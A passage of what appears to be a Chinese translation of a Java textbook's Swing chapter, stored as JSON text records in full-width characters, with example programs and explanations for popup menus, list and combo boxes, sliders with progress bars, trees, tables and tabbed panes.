    {"text": "ＪＭｅｎｕＩｔｅｍ ｍ ＝ ｎｅｗ ＪＭｅｎｕＩｔｅｍ（＂Ｈｉｔｈｅｒ＂）； ｍ．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ａｌ）； ｐｏｐｕｐ．ａｄｄ（ｍ）； ｍ ＝ ｎｅｗ ＪＭｅｎｕＩｔｅｍ（＂Ｙｏｎ＂）； ｍ．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ａｌ）； ｐｏｐｕｐ．ａｄｄ（ｍ）； ｍ ＝ ｎｅｗ ＪＭｅｎｕＩｔｅｍ（＂Ａｆａｒ＂）； ｍ．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ａｌ）； ｐｏｐｕｐ．ａｄｄ（ｍ）； ｐｏｐｕｐ．ａｄｄＳｅｐａｒａｔｏｒ（）； ｍ ＝ ｎｅｗ ＪＭｅｎｕＩｔｅｍ（＂Ｓｔａｙ Ｈｅｒｅ＂）； ｍ．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ａｌ）； ｐｏｐｕｐ．ａｄｄ（ｍ）； ＰｏｐｕｐＬｉｓｔｅｎｅｒ ｐｌ ＝ ｎｅｗ ＰｏｐｕｐＬｉｓｔｅｎｅｒ（）； ａｄｄＭｏｕｓｅＬｉｓｔｅｎｅｒ（ｐｌ）； ｔ．ａｄｄＭｏｕｓｅＬｉｓｔｅｎｅｒ（ｐｌ）； ｝ ｃｌａｓｓ ＰｏｐｕｐＬｉｓｔｅｎｅｒ ｅｘｔｅｎｄｓ ＭｏｕｓｅＡｄａｐｔｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｍｏｕｓｅＰｒｅｓｓｅｄ（ＭｏｕｓｅＥｖｅｎｔ ｅ） ｛ ｍａｙｂｅＳｈｏｗＰｏｐｕｐ（ｅ）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｍｏｕｓｅＲｅｌｅａｓｅｄ（ＭｏｕｓｅＥｖｅｎｔ ｅ） ｛ ｍａｙｂｅＳｈｏｗＰｏｐｕｐ（ｅ）； ｝ ｐｒｉｖａｔｅ ｖｏｉｄ ｍａｙｂｅＳｈｏｗＰｏｐｕｐ（ＭｏｕｓｅＥｖｅｎｔ ｅ） ｛ ｉｆ（ｅ．ｉｓＰｏｐｕｐＴｒｉｇｇｅｒ（）） ｛ ｐｏｐｕｐ．ｓｈｏｗ（ ｅ．ｇｅｔＣｏｍｐｏｎｅｎｔ（）， ｅ．ｇｅｔＸ（）， ｅ．ｇｅｔＹ（））； ｝ ｝ ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ ａｒｇｓ［］） ｛ Ｓｈｏｗ．ｉｎＦｒａｍｅ（ｎｅｗ Ｐｏｐｕｐ（），２００，１５０）；"},
    {"text": "｝ ｝ ／／／：￣ 相同的 ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ 被加入每个 ＪＭｅｎｕＩｔｅｍ 中，使其能从菜单标签中取出文字，并将文字插入 ＪＴｅｘｔＦｉｅｌｄ。"},
    {"text": "４７８ １ ３ ． １ ９ ． １ １ 列表框和组合框 列表框和组合框在 Ｓｗｉｎｇ 中工作就像它们在老的 ＡＷＴ 中工作一样，但如果我们需要它，它们同样被增加功 能。"},
    {"text": "／／： ＬｉｓｔＣｏｍｂｏ．ｊａｖａ ／／ Ｌｉｓｔ ｂｏｘｅｓ ＆ Ｃｏｍｂｏ ｂｏｘｅｓ ｐａｃｋａｇｅ ｃ１３．ｓｗｉｎｇ； ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．＊； ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．ｅｖｅｎｔ．＊； ｉｍｐｏｒｔ ｊａｖａｘ．ｓｗｉｎｇ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ ＬｉｓｔＣｏｍｂｏ ｅｘｔｅｎｄｓ ＪＰａｎｅｌ ｛ ｐｕｂｌｉｃ ＬｉｓｔＣｏｍｂｏ（） ｛ ｓｅｔＬａｙｏｕｔ（ｎｅｗ ＧｒｉｄＬａｙｏｕｔ（２，１））； ＪＬｉｓｔ ｌｉｓｔ ＝ ｎｅｗ ＪＬｉｓｔ（ＢｕｔｔｏｎＧｒｏｕｐｓ．ｉｄｓ）； ａｄｄ（ｎｅｗ ＪＳｃｒｏｌｌＰａｎｅ（ｌｉｓｔ））； ＪＣｏｍｂｏＢｏｘ ｃｏｍｂｏ ＝ ｎｅｗ ＪＣｏｍｂｏＢｏｘ（）； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ １００； ｉ＋＋） ｃｏｍｂｏ．ａｄｄＩｔｅｍ（Ｉｎｔｅｇｅｒ．ｔｏＳｔｒｉｎｇ（ｉ））； ａｄｄ（ｃｏｍｂｏ）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ ａｒｇｓ［］） ｛ Ｓｈｏｗ．ｉｎＦｒａｍｅ（ｎｅｗ ＬｉｓｔＣｏｍｂｏ（），２００，２００）；"},
    {"text": "增加对滚动的支持变得十分容易，就像上面示范的一样——简单地将 ＪＬｉｓｔ 封装到 ＪＳｃｒｏｌｌＰａｎｅ 即可，所有的细节都自动地为我们照料到了。"},
    {"text": "我最喜爱的有关这的程序例子简单地将滑 动块同进程条挂接起来，所以当我们移动滑动块时，进程条也相应的改变： ／／： Ｐｒｏｇｒｅｓｓ．ｊａｖａ ／／ Ｕｓｉｎｇ ｐｒｏｇｒｅｓｓ ｂａｒｓ ａｎｄ ｓｌｉｄｅｒｓ ｐａｃｋａｇｅ ｃ１３．ｓｗｉｎｇ；"},
    {"text": "ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．＊； ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．ｅｖｅｎｔ．＊； ｉｍｐｏｒｔ ｊａｖａｘ．ｓｗｉｎｇ．＊； ｉｍｐｏｒｔ ｊａｖａｘ．ｓｗｉｎｇ．ｅｖｅｎｔ．＊； ｉｍｐｏｒｔ ｊａｖａｘ．ｓｗｉｎｇ．ｂｏｒｄｅｒ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ Ｐｒｏｇｒｅｓｓ ｅｘｔｅｎｄｓ ＪＰａｎｅｌ ｛ ＪＰｒｏｇｒｅｓｓＢａｒ ｐｂ ＝ ｎｅｗ ＪＰｒｏｇｒｅｓｓＢａｒ（）； ＪＳｌｉｄｅｒ ｓｂ ＝ ｎｅｗ ＪＳｌｉｄｅｒ（ＪＳｌｉｄｅｒ．ＨＯＲＩＺＯＮＴＡＬ， ０， １００， ６０）； ｐｕｂｌｉｃ Ｐｒｏｇｒｅｓｓ（） ｛ ｓｅｔＬａｙｏｕｔ（ｎｅｗ ＧｒｉｄＬａｙｏｕｔ（２，１））； ４７９ ａｄｄ（ｐｂ）； ｓｂ．ｓｅｔＶａｌｕｅ（０）； ｓｂ．ｓｅｔＰａｉｎｔＴｉｃｋｓ（ｔｒｕｅ）； ｓｂ．ｓｅｔＭａｊｏｒＴｉｃｋＳｐａｃｉｎｇ（２０）； ｓｂ．ｓｅｔＭｉｎｏｒＴｉｃｋＳｐａｃｉｎｇ（５）； ｓｂ．ｓｅｔＢｏｒｄｅｒ（ｎｅｗ ＴｉｔｌｅｄＢｏｒｄｅｒ（＂Ｓｌｉｄｅ Ｍｅ＂））； ｐｂ．ｓｅｔＭｏｄｅｌ（ｓｂ．ｇｅｔＭｏｄｅｌ（））； ／／ Ｓｈａｒｅ ｍｏｄｅｌ ａｄｄ（ｓｂ）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ ａｒｇｓ［］） ｛ Ｓｈｏｗ．ｉｎＦｒａｍｅ（ｎｅｗ Ｐｒｏｇｒｅｓｓ（），２００，１５０）；"},
    {"text": "１ ３ ． １ ９ ． １ ３ 树 使用一个 ＪＴｒｅｅ 可以简单地像下面这样表示： ａｄｄ（ｎｅｗ ＪＴｒｅｅ（ ｎｅｗ Ｏｂｊｅｃｔ［］ ｛＂ｔｈｉｓ＂， ＂ｔｈａｔ＂， ＂ｏｔｈｅｒ＂｝））；"},
    {"text": "当我们按下按钮时，一个新的子 树就被增加到当前选中的结点下（如果没有结点被选中，就用根结节）： ／／： Ｔｒｅｅｓ．ｊａｖａ ／／ Ｓｉｍｐｌｅ Ｓｗｉｎｇ ｔｒｅｅ ｅｘａｍｐｌｅ． Ｔｒｅｅｓ ｃａｎ ｂｅ ｍａｄｅ ／／ ｖａｓｔｌｙ ｍｏｒｅ ｃｏｍｐｌｅｘ ｔｈａｎ ｔｈｉｓ． ｐａｃｋａｇｅ ｃ１３．ｓｗｉｎｇ；"},
    {"text": "ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．＊； ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．ｅｖｅｎｔ．＊； ｉｍｐｏｒｔ ｊａｖａｘ．ｓｗｉｎｇ．＊； ｉｍｐｏｒｔ ｊａｖａｘ．ｓｗｉｎｇ．ｔｒｅｅ．＊； ／／ Ｔａｋｅｓ ａｎ ａｒｒａｙ ｏｆ Ｓｔｒｉｎｇｓ ａｎｄ ｍａｋｅｓ ｔｈｅ ｆｉｒｓｔ ／／ ｅｌｅｍｅｎｔ ａ ｎｏｄｅ ａｎｄ ｔｈｅ ｒｅｓｔ ｌｅａｖｅｓ： ｃｌａｓｓ Ｂｒａｎｃｈ ｛ ＤｅｆａｕｌｔＭｕｔａｂｌｅＴｒｅｅＮｏｄｅ ｒ； ｐｕｂｌｉｃ Ｂｒａｎｃｈ（Ｓｔｒｉｎｇ［］ ｄａｔａ） ｛ ｒ ＝ ｎｅｗ ＤｅｆａｕｌｔＭｕｔａｂｌｅＴｒｅｅＮｏｄｅ（ｄａｔａ［０］）； ｆｏｒ（ｉｎｔ ｉ ＝ １； ｉ ＜ ｄａｔａ．ｌｅｎｇｔｈ； ｉ＋＋） ｒ．ａｄｄ（ｎｅｗ ＤｅｆａｕｌｔＭｕｔａｂｌｅＴｒｅｅＮｏｄｅ（ｄａｔａ［ｉ］））； ｝ ｐｕｂｌｉｃ ＤｅｆａｕｌｔＭｕｔａｂｌｅＴｒｅｅＮｏｄｅ ｎｏｄｅ（） ｛ ｒｅｔｕｒｎ ｒ； ｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ Ｔｒｅｅｓ ｅｘｔｅｎｄｓ ＪＰａｎｅｌ ｛ ４８０ Ｓｔｒｉｎｇ［］［］ ｄａｔａ ＝ ｛ ｛ ＂Ｃｏｌｏｒｓ＂， ＂Ｒｅｄ＂， ＂Ｂｌｕｅ＂， ＂Ｇｒｅｅｎ＂ ｝， ｛ ＂Ｆｌａｖｏｒｓ＂， ＂Ｔａｒｔ＂， ＂Ｓｗｅｅｔ＂， ＂Ｂｌａｎｄ＂ ｝， ｛ ＂Ｌｅｎｇｔｈ＂， ＂Ｓｈｏｒｔ＂， ＂Ｍｅｄｉｕｍ＂， ＂Ｌｏｎｇ＂ ｝， ｛ ＂Ｖｏｌｕｍｅ＂， ＂Ｈｉｇｈ＂， ＂Ｍｅｄｉｕｍ＂， ＂Ｌｏｗ＂ ｝， ｛ ＂Ｔｅｍｐｅｒａｔｕｒｅ＂， ＂Ｈｉｇｈ＂， ＂Ｍｅｄｉｕｍ＂， ＂Ｌｏｗ＂ ｝， ｛ ＂Ｉｎｔｅｎｓｉｔｙ＂， ＂Ｈｉｇｈ＂， ＂Ｍｅｄｉｕｍ＂， ＂Ｌｏｗ＂ ｝， ｝； ｓｔａｔｉｃ ｉｎｔ ｉ ＝ ０； ＤｅｆａｕｌｔＭｕｔａｂｌｅＴｒｅｅＮｏｄｅ ｒｏｏｔ， ｃｈｉｌｄ， ｃｈｏｓｅｎ； ＪＴｒｅｅ ｔｒｅｅ； ＤｅｆａｕｌｔＴｒｅｅＭｏｄｅｌ ｍｏｄｅｌ； ｐｕｂｌｉｃ Ｔｒｅｅｓ（） ｛ ｓｅｔＬａｙｏｕｔ（ｎｅｗ ＢｏｒｄｅｒＬａｙｏｕｔ（））； ｒｏｏｔ ＝ ｎｅｗ ＤｅｆａｕｌｔＭｕｔａｂｌｅＴｒｅｅＮｏｄｅ（＂ｒｏｏｔ＂）； ｔｒｅｅ ＝ ｎｅｗ ＪＴｒｅｅ（ｒｏｏｔ）； ／／ Ａｄｄ ｉｔ ａｎｄ ｍａｋｅ ｉｔ ｔａｋｅ ｃａｒｅ ｏｆ ｓｃｒｏｌｌｉｎｇ： ａｄｄ（ｎｅｗ ＪＳｃｒｏｌｌＰａｎｅ（ｔｒｅｅ）， ＢｏｒｄｅｒＬａｙｏｕｔ．ＣＥＮＴＥＲ）； ／／ Ｃａｐｔｕｒｅ ｔｈｅ ｔｒｅｅ＇ｓ ｍｏｄｅｌ： ｍｏｄｅｌ ＝（ＤｅｆａｕｌｔＴｒｅｅＭｏｄｅｌ）ｔｒｅｅ．ｇｅｔＭｏｄｅｌ（）； ＪＢｕｔｔｏｎ ｔｅｓｔ ＝ ｎｅｗ ＪＢｕｔｔｏｎ（＂Ｐｒｅｓｓ ｍｅ＂）； ｔｅｓｔ．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ｎｅｗ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（） ｛ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（ＡｃｔｉｏｎＥｖｅｎｔ ｅ）｛ ｉｆ（ｉ ＜ ｄａｔａ．ｌｅｎｇｔｈ） ｛ ｃｈｉｌｄ ＝ ｎｅｗ Ｂｒａｎｃｈ（ｄａｔａ［ｉ＋＋］）．ｎｏｄｅ（）； ／／ Ｗｈａｔ＇ｓ ｔｈｅ ｌａｓｔ ｏｎｅ ｙｏｕ ｃｌｉｃｋｅｄ？ ｃｈｏｓｅｎ ＝ （ＤｅｆａｕｌｔＭｕｔａｂｌｅＴｒｅｅＮｏｄｅ） ｔｒｅｅ．ｇｅｔＬａｓｔＳｅｌｅｃｔｅｄＰａｔｈＣｏｍｐｏｎｅｎｔ（）； ｉｆ（ｃｈｏｓｅｎ ＝＝ ｎｕｌｌ） ｃｈｏｓｅｎ ＝ ｒｏｏｔ； ／／ Ｔｈｅ ｍｏｄｅｌ ｗｉｌｌ ｃｒｅａｔｅ ｔｈｅ ／／ ａｐｐｒｏｐｒｉａｔｅ ｅｖｅｎｔ． Ｉｎ ｒｅｓｐｏｎｓｅ， ｔｈｅ ／／ ｔｒｅｅ ｗｉｌｌ ｕｐｄａｔｅ ｉｔｓｅｌｆ： ｍｏｄｅｌ．ｉｎｓｅｒｔＮｏｄｅＩｎｔｏ（ｃｈｉｌｄ， ｃｈｏｓｅｎ， ０）； ／／ Ｔｈｉｓ ｐｕｔｓ ｔｈｅ ｎｅｗ ｎｏｄｅ ｏｎ ｔｈｅ ／／ ｃｕｒｒｅｎｔｌｙ ｃｈｏｓｅｎ ｎｏｄｅ． ｝ ｝ ｝）； ／／ Ｃｈａｎｇｅ ｔｈｅ ｂｕｔｔｏｎ＇ｓ ｃｏｌｏｒｓ： ｔｅｓｔ．ｓｅｔＢａｃｋｇｒｏｕｎｄ（Ｃｏｌｏｒ．ｂｌｕｅ）； ｔｅｓｔ．ｓｅｔＦｏｒｅｇｒｏｕｎｄ（Ｃｏｌｏｒ．ｗｈｉｔｅ）； ＪＰａｎｅｌ ｐ ＝ ｎｅｗ ＪＰａｎｅｌ（）； ｐ．ａｄｄ（ｔｅｓｔ）； ａｄｄ（ｐ， ＢｏｒｄｅｒＬａｙｏｕｔ．ＳＯＵＴＨ）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ ａｒｇｓ［］） ｛ Ｓｈｏｗ．ｉｎＦｒａｍｅ（ｎｅｗ Ｔｒｅｅｓ（），２００，５００）；"},
    {"text": "｝ ｝ ／／／：￣ 最重要的类就是分支，它是一个工具，用来获取一个字符串数组并为第一个字符串建立一个 ４８１ ＤｅｆａｕｌｔＭｕｔａｂｌｅＴｒｅｅＮｏｄｅ 作为根，其余在数组中的字符串作为叶。"},
    {"text": "ＤｅｆａｕｌｔＭｕｔａｂｌｅＴｒｅｅＮｏｄｅ 对象控制这个结节，但在屏幕上表示的是被 ＪＴｒｅｅ 和它的相关 （ＤｅｆａｕｌｔＴｒｅｅＭｏｄｅｌ）模式所控制。"},
    {"text": "然后，当前选择的组件被找到（如果没有选择就是根）并且模型的 ｉｎｓｅｒｔＮｏｄｅＩｎｔｏ（）方法做所 有的改变树状物和导致它升级的工作。"},
    {"text": "不过，树状物拥有力量去做 我们能够想像到的任何事——在上面的例子中我们到处都可看到“ｄｅｆａｕｌｔ（默认）”字样，我们可以取代我 们自己的类来获取不同的动作。"},
    {"text": "它们最初有意被设计成以 Ｊａｖａ 数据库连结（ＪＤＢＣ，在 １５ 章有介绍）为媒介的“网格”数据库接口，并且因此它们拥有的巨大的灵活性，使我们不再感到复杂。"},
    {"text": "我们可以全部地执行 ＴａｂｌｅＭｏｄｅｌ 接口，但它通常从 ｈｅｌｐｅｒ 类的 ＡｂｓｔｒａｃｔＴａｂｌｅＭｏｄｅｌ 处简单地 继承： ／／： Ｔａｂｌｅ．ｊａｖａ ／／ Ｓｉｍｐｌｅ ｄｅｍｏｎｓｔｒａｔｉｏｎ ｏｆ ＪＴａｂｌｅ ｐａｃｋａｇｅ ｃ１３．ｓｗｉｎｇ；"},
    {"text": "ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．＊； ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．ｅｖｅｎｔ．＊； ｉｍｐｏｒｔ ｊａｖａｘ．ｓｗｉｎｇ．＊； ｉｍｐｏｒｔ ｊａｖａｘ．ｓｗｉｎｇ．ｔａｂｌｅ．＊； ｉｍｐｏｒｔ ｊａｖａｘ．ｓｗｉｎｇ．ｅｖｅｎｔ．＊；"},
    {"text": "／／ Ｔｈｅ ＴａｂｌｅＭｏｄｅｌ ｃｏｎｔｒｏｌｓ ａｌｌ ｔｈｅ ｄａｔａ： ｃｌａｓｓ ＤａｔａＭｏｄｅｌ ｅｘｔｅｎｄｓ ＡｂｓｔｒａｃｔＴａｂｌｅＭｏｄｅｌ ｛ Ｏｂｊｅｃｔ［］［］ ｄａｔａ ＝ ｛ ｛＂ｏｎｅ＂， ＂ｔｗｏ＂， ＂ｔｈｒｅｅ＂， ＂ｆｏｕｒ＂｝， ｛＂ｆｉｖｅ＂， ＂ｓｉｘ＂， ＂ｓｅｖｅｎ＂， ＂ｅｉｇｈｔ＂｝， ｛＂ｎｉｎｅ＂， ＂ｔｅｎ＂， ＂ｅｌｅｖｅｎ＂， ＂ｔｗｅｌｖｅ＂｝， ｝； ／／ Ｐｒｉｎｔｓ ｄａｔａ ｗｈｅｎ ｔａｂｌｅ ｃｈａｎｇｅｓ： ｃｌａｓｓ ＴＭＬ ｉｍｐｌｅｍｅｎｔｓ ＴａｂｌｅＭｏｄｅｌＬｉｓｔｅｎｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｔａｂｌｅＣｈａｎｇｅｄ（ＴａｂｌｅＭｏｄｅｌＥｖｅｎｔ ｅ） ｛ ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｄａｔａ．ｌｅｎｇｔｈ； ｉ＋＋） ｛ ｆｏｒ（ｉｎｔ ｊ ＝ ０； ｊ ＜ ｄａｔａ［０］．ｌｅｎｇｔｈ； ｊ＋＋） Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔ（ｄａｔａ［ｉ］［ｊ］ ＋ ＂ ＂）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（）； ｝ ｝ ｝ ＤａｔａＭｏｄｅｌ（） ｛ ａｄｄＴａｂｌｅＭｏｄｅｌＬｉｓｔｅｎｅｒ（ｎｅｗ ＴＭＬ（））； ｝ ４８２ ｐｕｂｌｉｃ ｉｎｔ ｇｅｔＣｏｌｕｍｎＣｏｕｎｔ（） ｛ ｒｅｔｕｒｎ ｄａｔａ［０］．ｌｅｎｇｔｈ； ｝ ｐｕｂｌｉｃ ｉｎｔ ｇｅｔＲｏｗＣｏｕｎｔ（） ｛ ｒｅｔｕｒｎ ｄａｔａ．ｌｅｎｇｔｈ； ｝ ｐｕｂｌｉｃ Ｏｂｊｅｃｔ ｇｅｔＶａｌｕｅＡｔ（ｉｎｔ ｒｏｗ， ｉｎｔ ｃｏｌ） ｛ ｒｅｔｕｒｎ ｄａｔａ［ｒｏｗ］［ｃｏｌ］； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｓｅｔＶａｌｕｅＡｔ（Ｏｂｊｅｃｔ ｖａｌ， ｉｎｔ ｒｏｗ， ｉｎｔ ｃｏｌ） ｛ ｄａｔａ［ｒｏｗ］［ｃｏｌ］ ＝ ｖａｌ； ／／ Ｉｎｄｉｃａｔｅ ｔｈｅ ｃｈａｎｇｅ ｈａｓ ｈａｐｐｅｎｅｄ： ｆｉｒｅＴａｂｌｅＤａｔａＣｈａｎｇｅｄ（）； ｝ ｐｕｂｌｉｃ ｂｏｏｌｅａｎ ｉｓＣｅｌｌＥｄｉｔａｂｌｅ（ｉｎｔ ｒｏｗ， ｉｎｔ ｃｏｌ） ｛ ｒｅｔｕｒｎ ｔｒｕｅ；"},
    {"text": "ｐｕｂｌｉｃ ｃｌａｓｓ Ｔａｂｌｅ ｅｘｔｅｎｄｓ ＪＰａｎｅｌ ｛ ｐｕｂｌｉｃ Ｔａｂｌｅ（） ｛ ｓｅｔＬａｙｏｕｔ（ｎｅｗ ＢｏｒｄｅｒＬａｙｏｕｔ（））； ＪＴａｂｌｅ ｔａｂｌｅ ＝ ｎｅｗ ＪＴａｂｌｅ（ｎｅｗ ＤａｔａＭｏｄｅｌ（））； ＪＳｃｒｏｌｌＰａｎｅ ｓｃｒｏｌｌｐａｎｅ ＝ ＪＴａｂｌｅ．ｃｒｅａｔｅＳｃｒｏｌｌＰａｎｅＦｏｒＴａｂｌｅ（ｔａｂｌｅ）； ａｄｄ（ｓｃｒｏｌｌｐａｎｅ， ＢｏｒｄｅｒＬａｙｏｕｔ．ＣＥＮＴＥＲ）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ ａｒｇｓ［］） ｛ Ｓｈｏｗ．ｉｎＦｒａｍｅ（ｎｅｗ Ｔａｂｌｅ（），２００，２００）；"},
    {"text": "ＡｂｓｔｒａｃｔＴａｂｌｅＭｏｄｅｌ 提供了默认的 ｓｅｔＶａｌｕｅＡｔ（）和 ｉｓＣｅｌｌＥｄｉｔａｂｌｅ（）方法以防止修改这些数据，因此如果我们想修改这些数据，就必须过载这些方法。"},
    {"text": "注意这个程序例子同样将 ＪＴａｂｌｅ 放置在 ＪＳｃｒｏｌｌＰａｎｅ 中，这是因为 ＪＳｃｒｏｌｌＰａｎｅ 需 要一个特殊的 ＪＴａｂｌｅ 方法。"},
    {"text": "我们会看到利用 ＲＴＴＩ 制造的程序十分的 小巧精致： ／／： Ｔａｂｂｅｄ．ｊａｖａ ／／ Ｕｓｉｎｇ ｔａｂｂｅｄ ｐａｎｅｓ ４８３ ｐａｃｋａｇｅ ｃ１３．ｓｗｉｎｇ；"},
    {"text": "ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．＊； ｉｍｐｏｒｔ ｊａｖａｘ．ｓｗｉｎｇ．＊； ｉｍｐｏｒｔ ｊａｖａｘ．ｓｗｉｎｇ．ｂｏｒｄｅｒ．＊；"},
    {"text": "ｐｕｂｌｉｃ ｃｌａｓｓ Ｔａｂｂｅｄ ｅｘｔｅｎｄｓ ＪＰａｎｅｌ ｛ ｓｔａｔｉｃ Ｏｂｊｅｃｔ［］［］ ｑ ＝ ｛ ｛ ＂Ｆｅｌｉｘ＂， Ｂｏｒｄｅｒｓ．ｃｌａｓｓ ｝， ｛ ＂Ｔｈｅ Ｐｒｏｆｅｓｓｏｒ＂， Ｂｕｔｔｏｎｓ．ｃｌａｓｓ ｝， ｛ ＂Ｒｏｃｋ Ｂｏｔｔｏｍ＂， ＢｕｔｔｏｎＧｒｏｕｐｓ．ｃｌａｓｓ ｝， ｛ ＂Ｔｈｅｏｄｏｒｅ＂， Ｆａｃｅｓ．ｃｌａｓｓ ｝， ｛ ＂Ｓｉｍｏｎ＂， Ｍｅｎｕｓ．ｃｌａｓｓ ｝， ｛ ＂Ａｌｖｉｎ＂， Ｐｏｐｕｐ．ｃｌａｓｓ ｝， ｛ ＂Ｔｏｍ＂， ＬｉｓｔＣｏｍｂｏ．ｃｌａｓｓ ｝， ｛ ＂Ｊｅｒｒｙ＂， Ｐｒｏｇｒｅｓｓ．ｃｌａｓｓ ｝， ｛ ＂Ｂｕｇｓ＂， Ｔｒｅｅｓ．ｃｌａｓｓ ｝， ｛ ＂Ｄａｆｆｙ＂， Ｔａｂｌｅ．ｃｌａｓｓ ｝， ｝； ｓｔａｔｉｃ ＪＰａｎｅｌ ｍａｋｅＰａｎｅｌ（Ｃｌａｓｓ ｃ） ｛ Ｓｔｒｉｎｇ ｔｉｔｌｅ ＝ ｃ．ｇｅｔＮａｍｅ（）； ｔｉｔｌｅ ＝ ｔｉｔｌｅ．ｓｕｂｓｔｒｉｎｇ（ ｔｉｔｌｅ．ｌａｓｔＩｎｄｅｘＯｆ（＇．＇） ＋ １）； ＪＰａｎｅｌ ｓｐ ＝ ｎｕｌｌ； ｔｒｙ ｛ ｓｐ ＝ （ＪＰａｎｅｌ）ｃ．ｎｅｗＩｎｓｔａｎｃｅ（）； ｝ ｃａｔｃｈ（Ｅｘｃｅｐｔｉｏｎ ｅ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｅ）； ｝ ｓｐ．ｓｅｔＢｏｒｄｅｒ（ｎｅｗ ＴｉｔｌｅｄＢｏｒｄｅｒ（ｔｉｔｌｅ））； ｒｅｔｕｒｎ ｓｐ； ｝ ｐｕｂｌｉｃ Ｔａｂｂｅｄ（） ｛ ｓｅｔＬａｙｏｕｔ（ｎｅｗ ＢｏｒｄｅｒＬａｙｏｕｔ（））； ＪＴａｂｂｅｄＰａｎｅ ｔａｂｂｅｄ ＝ ｎｅｗ ＪＴａｂｂｅｄＰａｎｅ（）； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｑ．ｌｅｎｇｔｈ； ｉ＋＋） ｔａｂｂｅｄ．ａｄｄＴａｂ（（Ｓｔｒｉｎｇ）ｑ［ｉ］［０］， ｍａｋｅＰａｎｅｌ（（Ｃｌａｓｓ）ｑ［ｉ］［１］））； ａｄｄ（ｔａｂｂｅｄ， ＢｏｒｄｅｒＬａｙｏｕｔ．ＣＥＮＴＥＲ）； ｔａｂｂｅｄ．ｓｅｔＳｅｌｅｃｔｅｄＩｎｄｅｘ（ｑ．ｌｅｎｇｔｈ／２）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ ａｒｇｓ［］） ｛ Ｓｈｏｗ．ｉｎＦｒａｍｅ（ｎｅｗ Ｔａｂｂｅｄ（），４６０，３５０）；"},
    {"text": "｝ ｝ ／／／：￣ 再者，我们可以注意到使用的数组构造式样：第一个元素是被置放在卡片上的 Ｓｔｒｉｎｇ，第二个元素是将被显 示在对应窗格上 ＪＰａｎｅｌ 类。"},
    {"text": "在 Ｔａｂｂｅｄ（）构建器里，我们可以看到两个重要的 ＪＴａｂｂｅｄＰａｎｅ 方法被使用： ａｄｄＴａｂ（）插入一个新的窗格，ｓｅｔＳｅｌｅｃｔｅｄＩｎｄｅｘ（）选择一个窗格并从它开始。"},
    {"text": "当我们调用 ａｄｄＴａｂ（）方法时，我们为它提供卡片的 Ｓｔｒｉｎｇ 和一些组件（也就是说，一个 ＡＷＴ 组件，而不是 一个来自 ＡＷＴ 的 ＪＣｏｍｐｏｎｅｎｔ）。"},
    {"text": "４８４ ｍａｋｅＰａｎｅｌ（）方法获取我们想创建的类 Ｃｌａｓｓ 对象和用 ｎｅｗＩｎｓｔａｎｃｅ（）去创建并造型为 ＪＰａｎｅｌ（当然，假定那 些类是必须从 ＪＰａｎｅｌ 继承才能增加的类，除非在这一节中为程序例子的结构所使用）。"},
    {"text": "我们有一些不同的可能实现的事件（有一些十分复 杂），但有一点，我们必须尽可能的利用 ｓｔａｔｉｃ ＪＯｐｔｉｏｎＰａｎｅ．ｓｈｏｗＭｅｓｓａｇｅＤｉａｌｏｇ（）和 ＪＯｐｔｉｏｎＰａｎｅ．ｓｈｏｗＣｏｎｆｉｒｍＤｉａｌｏｇ（）方法，调用消息对话框和确认对话框。"},
    {"text": "１ ３ ． １ ９ ． １ ７ Ｓ ｗ ｉ ｎ ｇ 更多的知识 这一节意味着唯一向我们介绍的是 Ｓｗｉｎｇ 的强大力量和我们的着手处，因此我们能注意到通过库，我们会感 觉到我们的方法何等的简单。"},
